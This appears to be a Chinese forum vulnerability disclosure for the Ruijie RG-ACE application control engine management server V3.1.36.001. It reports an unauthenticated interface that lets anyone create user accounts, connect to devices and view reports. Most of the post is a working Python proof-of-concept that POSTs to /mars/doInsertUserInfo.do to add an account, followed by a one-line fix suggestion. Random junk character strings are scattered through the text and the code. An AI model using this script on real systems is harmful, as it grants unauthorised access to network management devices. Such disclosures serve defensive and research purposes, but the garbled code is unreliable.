锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）

1 }' V8 \0 U# V2 Z  [( F6 Z
测试的具体版本是
3 u! L% l. q+ y- X+ R& b  S% _产品名称: 锐捷应用控制引擎
版本号: 3.1.36.001 TC
  E7 s7 j" D% g" T2 @! g编译时间: 201104291730
' N) m) H0 v, h) J* z

0 }. H& E6 n1 n" t漏洞证明：
6 D# n, Q2 V: u1 _" u- [
" f! M- i3 |! ~4 \- s0 w1 V' b
+ P' n8 H- m, H% U) h; {
& j3 U  z. Z0 `- x, b


/ F# l1 b7 ^$ C. O8 P' Z  P3 }执行脚本
#! /usr/bin/env python
( X. m! d/ H; {7 q+ v9 i5 K# @4 `#coding=gbk
% Z( p6 p, |  V* ]# C  E#RG-ACE管理服务器 V3.1.36.001
8 v" ^2 I5 A4 {! `4 W* [import urllib2, urllib,cookielib
  p( ~: _7 N  t6 Y& ~& W  Vurl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
3 m8 m# c7 z' G4 h* M- l8 Qopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
post=(("event","userManager.doInsertUserInfo"),
("useractionname","addButtonValue"),
("useropermanager","userManager"),
("userName","t"), #######账号自己加
("pwd","aaaaaa"),######密码自己加
7 [$ d9 n/ r6 d( E: o& X( v- ]("trueName","ad"),
("email",""),
("mobilePhone",""),
$ j5 E6 z: a1 E. `6 a4 ?& O4 \("officePhone",""),
* ]+ }9 c& ]- V2 t3 l) [("addr",""),
("submit","确定"))
urllib2.install_opener(opener)
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
5 \& ?- N1 R  [4 \print "Done"

登录，连接设备





默认的管理员admin权限更大点
) t& P: s) v' G: s3 Z) p3 p+ P

$ P: B5 S/ ^3 w) y7 x$ D$ W
" b4 R* w8 C5 E' s+ ?. s& G! [5 P: z
( z- U9 T) v1 Y3 L" t, F" p
5 D2 m9 P: p' P修复方案：
加强对接口的权限验证

; K& M7 G2 s( L: r# \. _